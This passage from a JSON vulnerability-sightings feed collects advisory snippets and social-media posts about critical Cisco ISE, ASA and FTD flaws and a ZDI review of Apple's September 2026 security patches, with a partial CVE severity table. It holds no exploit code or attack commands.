\u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc ASA 9.16\u20139.24 \u0648 Secure FTD \u0627\u0632 7.0 \u062a\u0627 10.0 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a\u060c \u0648 \u0628\u0647 \u062f\u0627\u0631\u0646\u062f\u06af\u0627\u0646 \u0627\u06cc\u0646 \u062f\u0633\u062a\u06af\u0627\u0647\u200c\u0647\u0627 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0641\u0648\u0631\u0627\u064b \u0628\u0647 \u0646\u0633\u062e\u0647 \u0627\u0635\u0644\u0627\u062d\u200c\u0634\u062f\u0647 \u0627\u0631\u062a\u0642\u0627 \u06cc\u0627\u0628\u0646\u062f.\n\n#cisco #firewall #\u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc #vpn\n\n\n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 \u0627\u0646\u062c\u0645\u0646 \u062a\u062e\u0635\u0635\u06cc AI.Sec :\nhttps://chat.whatsapp.com/KRPUA6WM4f6AdS727vRBmM?mode=ems_copy_t\n\u06a9\u0627\u0646\u0627\u0644 \u0628\u0644\u0647\nhttps://ble.ir/otsec", "creation_timestamp": "2026-09-16T00:00:13.786583Z"}, {"uuid": "e3fbcc8d-823b-4854-abee-b8b81f6e2e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/h09GPqNL5pAXezKj9jUvLF7CgRlXDmdtrgeE9ZdBonnL6iw", "content": "", "creation_timestamp": "2026-09-16T00:00:35.113071Z"}, {"uuid": "299f4d3d-f7d5-47bb-8ed7-4126ae5ff017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/BfOP9C6VTcRtW_Rt0HWgkUpUGQT8zRkGvBuU-FkApQscmcE", "content": "", "creation_timestamp": "2026-09-16T00:00:32.173883Z"}, {"uuid": "e82760d0-e83c-4b37-a26b-67eec92a8262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "published-proof-of-concept", "source": "Telegram/tVSUyumNKMqWc0g4LwEtEssTFuH2P5-Ny0SMCmmIFkBzBaU", "content": "", "creation_timestamp": "2026-09-16T00:00:32.941676Z"}, {"uuid": "259ed63f-0024-4de4-b2b8-cf67cb5e0ad5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20941", "type": "published-proof-of-concept", "source": "Telegram/H0eOjHyZUxgnLxua8sMakUK5GgA6Gq51QUerHtt7h7qjAfg", "content": "", "creation_timestamp": "2026-09-16T00:00:33.786113Z"}, {"uuid": "22e1fca9-eaa8-4f00-8f96-335da9c2b056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/CyberDispatch/2896", "content": "Three threat clusters exploited Cisco FMC flaws to steal credentials, deploy Cyclops Blink, and push Qilin ransomware.\n\nBoth flaws are now in CISA\u2019s KEV catalog. Federal agencies must patch CVE-2026-20079 by September 12.", "creation_timestamp": "2026-09-16T04:00:05.188643Z"}, {"uuid": "5842da22-8434-41f1-b107-d8c4f8424988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3mvmhymidgm2u", "content": "CVE-2026-20700 is trending. Hype score 21, currently #3 on cvemon.\n\nA memory corruption issue was addressed with improved state management. This issue is fixed in iOS 26.3 and iPadOS 26.3, macOS Tahoe 26.3, tvOS 26.3, visionOS 26.3, watchOS 26.3. An\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20700", "creation_timestamp": "2026-09-16T06:07:58.945587Z"}, {"uuid": "56c3a4d1-d5f9-41f4-9a20-fb7e5d6ae272", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mvmjrhg5az2k", "content": "Top 3 CVE for last 7 days:\nCVE-2026-85706: 40 interactions\nCVE-2026-20079: 24 interactions\nCVE-2026-85880: 21 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-85706: 19 interactions\nCVE-2026-58231: 4 interactions\nCVE-2026-76461: 3 interactions\n", "creation_timestamp": "2026-09-16T06:39:46.380803Z"}, {"uuid": "0b279ff1-696b-478f-8aa3-1234d60414a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-15)", "content": "", "creation_timestamp": "2026-09-16T10:15:14.505154Z"}, {"uuid": "1c9774ea-6304-4df7-9852-df8cc8fa4674", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20176", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117281853082467027", "content": "New.\nCisco has advisories to address 13 critical vulnerabilities, among other lower-ranking flaws https://sec.cloudapps.cisco.com/security/center/publicationListing.x\nThis one is new, but there are others:\nCRITICAL: CVE-2026-20176, CVE-2026-20211, and CVE-2026-20307 Cisco Identity Services Engine Remote Code Execution Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-rce-se7bYU57\nBroadcom:\nBroadcom has a long list of advisories addressing at least two critical vulnerabilities https://support.broadcom.com/web/ecx/security-advisory #Broadcom \nTenable:\nTenable Research Advisories: CVE-2026-84858: ScadaLTS Multiple Vulnerabilities https://www.tenable.com/security/research/tra-2026-60 #infosec #Cisco #vulnerability", "creation_timestamp": "2026-09-16T17:17:37.513566Z"}, {"uuid": "961e64b0-696c-487d-aba8-d2e913c2399e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20211", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117281853082467027", "content": "New.\nCisco has advisories to address 13 critical vulnerabilities, among other lower-ranking flaws https://sec.cloudapps.cisco.com/security/center/publicationListing.x\nThis one is new, but there are others:\nCRITICAL: CVE-2026-20176, CVE-2026-20211, and CVE-2026-20307 Cisco Identity Services Engine Remote Code Execution Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-rce-se7bYU57\nBroadcom:\nBroadcom has a long list of advisories addressing at least two critical vulnerabilities https://support.broadcom.com/web/ecx/security-advisory #Broadcom \nTenable:\nTenable Research Advisories: CVE-2026-84858: ScadaLTS Multiple Vulnerabilities https://www.tenable.com/security/research/tra-2026-60 #infosec #Cisco #vulnerability", "creation_timestamp": "2026-09-16T17:17:37.575628Z"}, {"uuid": "5353fca0-95a3-48ef-b8c9-2b9677db4a9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20307", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117281853082467027", "content": "New.\nCisco has advisories to address 13 critical vulnerabilities, among other lower-ranking flaws https://sec.cloudapps.cisco.com/security/center/publicationListing.x\nThis one is new, but there are others:\nCRITICAL: CVE-2026-20176, CVE-2026-20211, and CVE-2026-20307 Cisco Identity Services Engine Remote Code Execution Vulnerabilities https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-rce-se7bYU57\nBroadcom:\nBroadcom has a long list of advisories addressing at least two critical vulnerabilities https://support.broadcom.com/web/ecx/security-advisory #Broadcom \nTenable:\nTenable Research Advisories: CVE-2026-84858: ScadaLTS Multiple Vulnerabilities https://www.tenable.com/security/research/tra-2026-60 #infosec #Cisco #vulnerability", "creation_timestamp": "2026-09-16T17:17:37.714754Z"}, {"uuid": "9e5a31bc-6688-4b21-b5d3-29059e8f2920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20234", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvnqag4nfl2j", "content": "\ud83d\udea8 CVE-2026-20234 \u2014 CVSS 9.9 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Service...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20234\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T18:08:10.462280Z"}, {"uuid": "b8c61832-44f7-49f3-947f-9a7654e66aac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20305", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvnqanoyqd2f", "content": "\ud83d\udea8 CVE-2026-20305 \u2014 CVSS 9.1 CRITICAL\n\nA vulnerability in the diagnostic tools of Cisco ISE and ISE-PIC could allow an authenticated, remote attac...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20305\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T18:08:18.584412Z"}, {"uuid": "0b94b385-f20f-421b-8334-6dcdfc1e7672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20306", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvnqavo7hq2f", "content": "\ud83d\udea8 CVE-2026-20306 \u2014 CVSS 9.1 CRITICAL\n\nA vulnerability in the REST API of Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to p...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20306\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T18:08:27.611989Z"}, {"uuid": "dcd60bf4-0c1b-412f-9077-0f21f9387f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20307", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvnqb5r45f25", "content": "\ud83d\udea8 CVE-2026-20307 \u2014 CVSS 9.9 CRITICAL\n\nA vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote att...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20307\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T18:08:35.130022Z"}, {"uuid": "81d467e2-b270-462a-8b57-92f3b13f0f43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20331", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mvnqbgjnfe2w", "content": "\ud83d\udea8 CVE-2026-20331 \u2014 CVSS 9.6 CRITICAL\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-20331\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-16T18:08:44.400378Z"}, {"uuid": "19303a94-064d-439a-948d-0cc09e5ed1a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20306", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvnqvsaw762y", "content": "CVE-2026-20306 - cisco identity services engine software\nCisco Identity Services Engine and its passive identity connector can let someone with valid admin credentials send crafted web requests that run commands on the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T18:20:07.778127Z"}, {"uuid": "d64c40f4-3789-4a80-ae05-1fab2675a578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20331", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvnrhn76vq2t", "content": "CVE-2026-20331 - cisco secure firewall adaptive security appliance (asa) software\nCisco\u2019s Adaptive Security Appliance, Threat Defense, and Management Center software could fail to enforce their own protection rules,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#cisco #CVE #infosec", "creation_timestamp": "2026-09-16T18:30:10.498916Z"}, {"uuid": "a872fb99-4377-4ca5-b2e3-7b1342251950", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20234", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvnrhpc5lt2j", "content": "CVE-2026-20234\nThe Cisco Identity Services Engine and its Passive Identity Connector can keep passwords and other login details insufficiently protected. If left unpatched, an attacker could obtain these credentials and gain\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T18:30:12.336070Z"}, {"uuid": "fd971f76-0b02-48b9-af90-7e128b5a87a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20305", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvnrzig4ak2n", "content": "CVE-2026-20305\nIf someone with administrative login accesses the Cisco ISE or ISE-PIC web console, they can send specially crafted input that runs any command on the underlying server. This can give the attacker full control\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T18:40:05.559647Z"}, {"uuid": "a977da9d-668f-4fa5-a926-9fc90b70f853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20307", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mvnrzmwudl2g", "content": "CVE-2026-20307\nIf someone obtains a low\u2011level admin login to Cisco Identity Services Engine, they can send specially crafted data through the web management page and cause the system to run any command it wants. This could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-16T18:40:10.564390Z"}, {"uuid": "e2252099-193d-4688-8858-d999bdd565ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20234", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvo2pc3tuy2c", "content": "## \u8106\u5f31\u6027\u60c5\u5831  ### \u6982\u8981  \u7279\u5b9a\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u30a2\u30d7\u30ea\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u306e\u500b\u4eba\u60c5\u5831\u304c\u6f0f\u6d29\u3059\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u8106\u5f31\u6027\u304c\u5b58\u5728\u3057\u307e\u3059\u3002  ### \u8a73\u7d30  \u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3055\u308c\u308b\u3068\u3001\u653b\u6483\u8005\u306f\u30a2\u30d7\u30ea\u5185\u306e\u30e6\u30fc\u30b6\u30fc\u60c5\u2026\nCVE-2026-20234 CVSS 9.9 | CRITICAL", "creation_timestamp": "2026-09-16T21:15:33.097974Z"}, {"uuid": "b6901bd1-f2d6-4872-b87c-02ac85fdd2fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20305", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvo2qpvs4c2g", "content": "Cisco ISE/ISE-PIC\u306e\u8a3a\u65ad\u30c4\u30fc\u30eb\u306b\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u3002\u8a8d\u8a3c\u6e08\u307f\u653b\u6483\u8005\u304croot\u6a29\u9650\u3067\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u53ef\u80fd\u3002\u5358\u4e00\u30ce\u30fc\u30c9\u3067\u306fDoS\u306e\u53ef\u80fd\u6027\u3002\nCVE-2026-20305 CVSS 9.1 | CRITICAL", "creation_timestamp": "2026-09-16T21:16:14.912391Z"}, {"uuid": "3ae663b6-bc27-43b0-b785-b0a961aa797d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20306", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mvo2ubqnnt2b", "content": "Cisco ISE\u304a\u3088\u3073ISE-PIC\u306eREST API\u306b\u3001\u30e6\u30fc\u30b6\u30fc\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306b\u3088\u308b\u30b3\u30de\u30f3\u30c9\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u304c\u3042\u308b\u3002\u8a8d\u8a3c\u3055\u308c\u305f\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u306f\u3001root\u6a29\u9650\u6607\u683c\u3084\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u3002\u5358\u2026\nCVE-2026-20306 CVSS 9.1 | CRITICAL", "creation_timestamp": "2026-09-16T21:18:16.283095Z"}, {"uuid": "02e67052-35f0-45d2-831c-fea242a85e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20683", "type": "seen", "source": "https://www.thezdi.com/blog/2026/9/16/the-apple-security-update-review-for-september-2026", "content": "Welcome back to our monthly look at Apple security patches. This release shows Apple is not immune to the new normal of AI-assisted vulnerability discovery as they release patches for 273 total CVEs.\nFor the September 2026 release, Apple released 273 unique CVEs across macOS 27 (Golden Gate), macOS Sequoia 15.8, macOS Tahoe 26.7, iOS / iPadOS 27, visionOS 27, watchOS 27, tvOS 27, iOS / iPadOS 26.7, Safari 27, and Xcode 27. This patch release actually happened a couple of days ago, but since Apple doesn\u2019t provide CVSS scores or other severity information, it takes a couple of days to understand the full severity. Even with the additional time, there are many CVEs without a severity score. However, looking at the one that do have severity assigned by NVD or CISA-ADP, there are a few that truly stand out, including one under active exploit.\nCVE-2026-65400 \u2014 Screen Sharing Server (9.8 CRITICAL, \u26a0 CISA KEV).  This bug is confirmed by CISA to be actively exploited. A network attacker can authenticate to Screen Sharing without valid credentials, without user interaction. This component was first patched on August 6 and relisted in v27 as macOS 27/Tahoe 26.7 now carries the fix.\nCVE-2026-65414 \u2014 Bluetooth (9.8 CRITICAL). This is the highest-scored non-exploited bug in the release. It\u2019s remote, network-vector arbitrary code execution with no privileges or interaction, and CISA tagged it \"automatable: yes, technical impact: total.\" It spans all eight OS platforms, which is the broadest-reach critical vulnerability in the release and the most likely candidate to become a KEV entry.\nCVE-2026-65346 \u2014 ImageIO (8.8 HIGH).  The bug sits at the top of the HIGH tier and is the most dangerous remote content bug: processing a malicious image leads to arbitrary code execution. ImageIO is the canonical zero-/one-click surface (images auto-rendered in Messages, previews), so it carries high real-world weaponization potential.\nTwo honorable mentions that matter because of a data caveat: CVE-2026-84607 (AVEVideoEncoder) \u2014 a sandbox-to-kernel arbitrary-code-execution bug \u2014 and CVE-2026-43790 (Kernel) \u2014 remote kernel memory corruption \u2014 are arguably more severe by impact than #3, but NVD hasn't scored either yet (both TBD), so they don't rank on the current evidence. Also worth noting: CVE-2026-43692 (CUPS) remote code execution and CVE-2026-84568 (autofs) root RCE both sit at the top of the HIGH band.\nHere\u2019s the full table of Apple patches and the products they affect:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\nApple Security Updates \u2014 September 14, 2026 (v27)\n\n\n    \n      273Total CVEs\n      134Scored\n      139TBD\n      2CRITICAL\n      46HIGH\n      84MEDIUM\n      2LOW\n    \n    \nCVSS is the NVD primary score where available, otherwise CISA-ADP secondary; TBD = NVD has not scored it yet (most v27 CVEs are still under analysis). \u26a0 KEV marks CVEs in CISA's Known Exploited Vulnerabilities catalog.\n    \n    \n\n      Apple security release — September 14, 2026 (version 27), 273 CVEs. CVSS/Severity from NVD (National Vulnerability Database) as of Sept 16, 2026. CVE IDs link to NVD. \"Yes/No\" indicates whether each update is affected.\n      \n          CVE IDComponentImpactCVSSSeverity\n          iOS / iPadOS 27\n          iOS / iPadOS 26.7\n          macOS 27 (Golden Gate)\n          macOS Tahoe 26.7\n          macOS Sequoia 15.8\n          tvOS 27\n          watchOS 27\n          visionOS 27\n          Safari 27\n          Xcode 27\n      \n      \n      \n        CVE-2026-65400\n        Screen Sharing Server\n        An attacker on the network may be able to authenticate to Screen Sharing without valid credentials\n        9.8\u26a0 KEV CRITICAL\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-65414\n        Bluetooth\n        A remote attacker may be able to cause unexpected app termination or arbitrary code execution\n        9.8CRITICAL\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43692\n        CUPS\n        A remote user may cause an unexpected app termination or arbitrary code execution\n        8.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65346\n        ImageIO\n        Processing an image may lead to arbitrary code execution\n        8.8HIGH\n        NoNoNoNoYesYesYesYesNoNo\n      \n      \n        CVE-2026-43686\n        Kernel\n        Connecting to a malicious NFS server may lead to kernel memory corruption\n        8.8HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-65374\n        WebDAV\n        Connecting to a malicious WebDAV server may result in code execution\n        8.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43715\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43794\n        WebKit\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65390\n        WebRTC\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-65391\n        WebRTC\n        Processing maliciously crafted web content may lead to memory corruption\n        8.8HIGH\n        NoNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-43760\n        Screen Sharing Server\n        An app may be able to access user-sensitive data\n        8.6HIGH\n        NoNoNoYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-84581\n        HFS\n        Mounting a maliciously crafted disk image may cause unexpected system termination or corrupt kernel memory\n        8.4HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84535\n        Automator\n        An app may be able to break out of its sandbox\n        8.2HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84516\n        CUPS\n        Processing a maliciously crafted file may result in unexpected app termination or disclosure of process memory\n        8.1HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65415\n        Kernel\n        A local user may be able to cause unexpected system termination or read kernel memory\n        8.1HIGH\n        YesNoYesNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84568\n        autofs\n        An attacker with control of a network directory server may be able to execute arbitrary code with root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84607\n        AVEVideoEncoder\n        A sandboxed app may be able to execute arbitrary code with kernel privileges\n        7.8HIGH\n        YesYesYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-84631\n        Bluetooth\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-43786\n        CoreServices\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84575\n        CoreUI\n        Processing a maliciously crafted file may lead to unexpected app termination\n        7.8HIGH\n        YesNoYesYesYesYesYesYesNoNo\n      \n      \n        CVE-2026-43691\n        CUPS\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-43698\n        CUPS\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesNoNoNoNoNoNo\n      \n      \n        CVE-2026-84505\n        Directory Utility\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-65362\n        Disk Images\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64758\n        ImageIO\n        Processing a maliciously crafted file may lead to unexpected app termination\n        7.8HIGH\n        NoYesNoNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-43684\n        Kernel\n        An app may be able to cause unexpected system termination or corrupt kernel memory\n        7.8HIGH\n        NoYesYesNoYesNoNoNoNoNo\n      \n      \n        CVE-2026-43689\n        Kernel\n        A malicious app may be able to gain root privileges\n        7.8HIGH\n        YesYesYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-86917\n        Kernel\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64712\n        odproxyd\n        An app may be able to gain root privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84515\n        SMB\n        Connecting to a malicious SMB server may lead to kernel memory corruption\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84506\n        udf\n        An app may be able to execute arbitrary code with kernel privileges\n        7.8HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-64761\n        Accessibility\n        An app may be able to identify what other apps a user has installed\n        7.5HIGH\n        YesNoNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-86895\n        CloudKit\n        A local app may be able to read a persistent account identifier\n        7.5HIGH\n        YesNoNoNoNoYesYesYesNoNo\n      \n      \n        CVE-2026-84563\n        CUPS\n        An app may be able to cause unexpected system termination\n        7.5HIGH\n        NoNoYesYesYesNoNoNoNoNo\n      \n      \n        CVE-2026-84606\n        iCloud\n        An app may be able to identify a user across reinstalls\n        7.5HIGH\n        YesNoYesNoNoNoNoYesNoNo\n      \n      \n        CVE-2026-43661\n        ImageIO\n        Processing a maliciously crafted image may corrupt process memory\n        7.5HIGH\n        NoYesNoNoNoNoNoNoNoNo\n      \n      \n        CVE-2026-28969\n        IOKit\n        An app may be able to cause unexpected system termination\n        